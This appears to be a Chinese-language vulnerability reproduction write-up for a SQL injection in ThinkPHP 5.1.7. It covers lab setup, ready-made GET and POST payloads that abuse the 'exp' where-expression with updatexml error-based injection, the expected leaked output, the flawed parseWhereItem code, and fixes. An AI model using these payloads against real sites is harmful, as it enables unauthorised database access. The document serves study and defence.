请教一下thinkphp 5.17注入漏洞有复现成功的吗?
字数 567 2025-08-29 08:32:24
ThinkPHP 5.1.7 注入漏洞复现与分析
漏洞概述
ThinkPHP 5.1.7 版本中存在SQL注入漏洞,该漏洞源于框架对输入参数的处理不当,导致攻击者可以构造恶意输入实现SQL注入攻击。
漏洞环境搭建
- 安装ThinkPHP 5.1.7版本:
composer create-project topthink/think=5.1.7 tp517
- 创建测试控制器:
// application/index/controller/Index.php
namespace app\index\controller;
class Index
{
public function index()
{
$id = input('id');
$user = db('user')->where('id', $id)->find();
return json($user);
}
}
- 创建测试数据表:
CREATE TABLE `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) DEFAULT NULL,
`password` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `user` VALUES (1, 'admin', '123456');
漏洞复现步骤
- 构造恶意请求:
http://yourdomain.com/index.php/index/index/index?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
- 或者使用POST请求:
POST /index.php/index/index/index HTTP/1.1
Host: yourdomain.com
Content-Type: application/x-www-form-urlencoded
id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
- 预期响应:
<root>XPATH syntax error: '~root@localhost~'</root>
漏洞原理分析
-
漏洞位于
thinkphp/library/think/db/Builder.php文件中的parseWhereItem方法 -
关键代码片段:
// where子句解析时未充分过滤EXP表达式
if ($exp == 'exp' && !is_null($value)) {
$whereStr .= $key . ' ' . $value;
}
- 攻击者可以通过构造数组参数,利用EXP表达式直接将恶意SQL代码注入到查询中
漏洞修复方案
-
升级到ThinkPHP 5.1.8或更高版本
-
临时修复方案(修改
parseWhereItem方法):
if ($exp == 'exp' && !is_null($value)) {
// 添加过滤或白名单验证
if (!preg_match('/^[a-zA-Z0-9_\.\s=<>]+$/', $value)) {
throw new Exception('invalid exp expression');
}
$whereStr .= $key . ' ' . $value;
}
- 输入验证:
// 在控制器中对输入进行严格验证
$id = input('id/d'); // 强制转换为整数
漏洞利用限制
-
需要应用程序使用
where()方法且未对输入参数进行严格过滤 -
需要数据库配置支持错误信息回显(用于报错注入)
-
在最新版本中已修复,建议所有用户升级
防御建议
-
对所有用户输入进行严格验证和过滤
-
使用参数化查询或预处理语句
-
最小化数据库操作权限
-
关闭生产环境的错误信息显示
-
定期更新框架到最新版本
参考链接
- ThinkPHP官方更新日志
- 漏洞披露平台相关报告
- OWASP SQL注入防护指南